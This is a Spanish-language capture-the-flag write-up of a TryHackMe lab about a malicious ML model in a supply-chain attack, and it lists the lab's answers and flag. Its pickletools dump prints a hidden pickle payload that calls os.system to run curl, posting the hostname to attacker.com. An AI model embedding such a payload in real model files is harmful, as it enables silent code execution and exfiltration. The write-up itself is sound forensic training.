



Resolución de Laboratorio

Payload

Investigación de un ataque de supply chain sobre un pipeline de ML: un modelo cargado desde una organización no verificada terminó ejecutando un backdoor en el servidor de inferencia de producción.

URL: <https://tryhackme.com/room/payload>

Writeup por Jenrrisinho

Revisamos logs/deployment.log para reconstruir la línea de tiempo del despliegue.

```
analyst@tryhackme-2204:/opt/supply-chain/incident/logs$ cat deployment.log
[2024-01-05 09:15:22] INFO Model registry: pulling code-review-bert v1.0.0
[2024-01-05 09:15:23] INFO Source: huggingface.co/verified-ml-team/code-review-bert
[2024-01-05 09:15:25] INFO Loaded model: original_model.pkl (sha256: 793bb2f5bdfd4alc...)
[2024-01-05 09:15:26] INFO Model deployed to production inference server
[2024-01-26 14:32:10] INFO Model update requested by ml-engineer@trytrainme.com
[2024-01-26 14:32:12] INFO Source: huggingface.co/trustworthy-ai-lab/code-review-bert-v2
[2024-01-26 14:32:14] WARN New source organisation detected: trustworthy-ai-lab
[2024-01-26 14:32:15] INFO Loaded model: production_model.pkl
[2024-01-26 14:32:16] INFO Model deployed to production inference server
[2024-02-16 03:14:00] ALERT SOC automated alert: unusual outbound HTTPS traffic detected
[2024-02-16 03:14:01] ALERT Destination: attacker.com:443
[2024-02-16 03:14:33] INFO Incident #2024-SC-0847 created - investigation required
```

Respuesta: trustworthy-ai-lab

Ahora comparamos las fechas de despliegue y de la alerta en el mismo log.

```
[2024-01-26 14:32:15] INFO Loaded model: production_model.pkl
[2024-01-26 14:32:16] INFO Model deployed to production inference server
[2024-02-16 03:14:00] ALERT SOC automated alert: unusual outbound HTTPS traffic detected
[2024-02-16 03:14:01] ALERT Destination: attacker.com:443
```

Respuesta: 21

Decompilo production_model.pkl con pickletools de forma segura, sin deserializarlo. El opcode STACK_GLOBAL resuelve a un objeto del módulo os que luego es invocado con REDUCE. Dentro del string decompilado del payload hay una sustitución de comandos que obtiene el nombre del equipo.

```
analyst@tryhackme-2204:/opt/supply-chain$ python3 -m pickletools /opt/supply-chain/incident/models/production_model.pkl
0: \x80 PROTO 4
2: \x95 FRAME 79
11: \x8c SHORT BINUNICODE 'os'
15: \x94 MEMOIZE (as 0)
16: \x8c SHORT BINUNICODE 'system'
24: \x94 MEMOIZE (as 1)
25: \x93 STACK_GLOBAL
26: \x94 MEMOIZE (as 2)
27: \x8c SHORT BINUNICODE 'curl "http://attacker.com/beacon" -d "host=$(hostname)"'
84: \x94 MEMOIZE (as 3)
85: \x85 TUPLE1
86: \x94 MEMOIZE (as 4)
87: R REDUCE
88: \x94 MEMOIZE (as 5)
89: . STOP
```

Respuesta: system

Respuesta: hostname

Nos damos cuenta del tipo de request hacia attacker.com usando *curl --help*.

```
analyst@tryhackme-2204:/opt/supply-chain$ curl --help
Usage: curl [options...] <url>
-d, --data <data>          HTTP POST data
-T, --fail                  Fail silently (no output at all) on HTTP errors
-h, --help <category>      Get help for commands
-i, --include                Include protocol response headers in the output
-o, --output <file>         Write to file instead of stdout
-O, --remote-name            Write output to a file named as the remote file
-s, --silent                Silent mode
-T, --upload-file <file>    Transfer local FILE to destination
-u, --user <user:password>  Server user and password
-A, --user-agent <name>     Send User-Agent <name> to server
-v, --verbose                Make the operation more talkative
-V, --version                Show version number and quit
```

Respuesta: POST

Inspeccionamos candidate_model.h5 (aún no desplegado) con inspect_h5_model.py. De 5 capas, una Lambda es marcada como riesgo por poder ejecutar código arbitrario en tiempo de inferencia.

```
analyst@tryhackme-2204:~$ python3 /opt/supply-chain/tools/inspect_h5_model.py /opt/supply-chain/incident/models/candidate_model.h5

=== Architecture Inspection: candidate_model.h5 ===

Total layers: 5

[OK]      InputLayer      input_layer_2      I
[OK]      Flatten        flatten_2
[OK]      Dense           dense_4
[OK]      Dense           dense_5
[WARNING] Lambda         manipulate_output (function: manipulate_output)
exfil_suffix: pl41n_s1ght

RESULT: 1 layer(s) require review
- Lambda (manipulate_output): Can contain arbitrary Python code that executes at inference time
```

Respuesta: manipulate_output

El atacante dividió el campaign ID en dos artefactos distintos para evitar exponerlo completo en una sola captura: una mitad en beacon_capture.log y la otra en los metadatos de la capa sospechosa de candidate_model.h5.

```
analyst@tryhackme-2204:~$ python3 /opt/supply-chain/tools/inspect_h5_model.py /opt/supply-chain/incident/models/candidate_model.h5

=== Architecture Inspection: candidate_model.h5 ===

Total layers: 5

[OK]      InputLayer      input_layer_2      I
[OK]      Flatten        flatten_2
[OK]      Dense           dense_4
[OK]      Dense           dense_5
[WARNING] Lambda         manipulate_output (function: manipulate_output)
exfil_suffix: pl41n_s1ght

RESULT: 1 layer(s) require review
- Lambda (manipulate_output): Can contain arbitrary Python code that executes at inference time

analyst@tryhackme-2204:~$ cat /opt/supply-chain/incident/logs/beacon_capture.log
[2024-02-16 03:13:47] SESSION beacon-4821 ESTABLISHED src=10.0.1.50 dst=attacker.com:443
[2024-02-16 03:13:47] REQUEST POST /beacon HTTP/1.1
[2024-02-16 03:13:47] HOST attacker.com
[2024-02-16 03:13:47] PAYLOAD host=ml-server-prod-01&id=THM{b4ckd00r_1n_
[2024-02-16 03:13:48] SESSION beacon-4821 BLOCKED bytes_captured=51 reason=SOC_RULE_4821
analyst@tryhackme-2204:~$
```

Respuesta: THM{b4ckd00r_1n_pl41n_s1ght}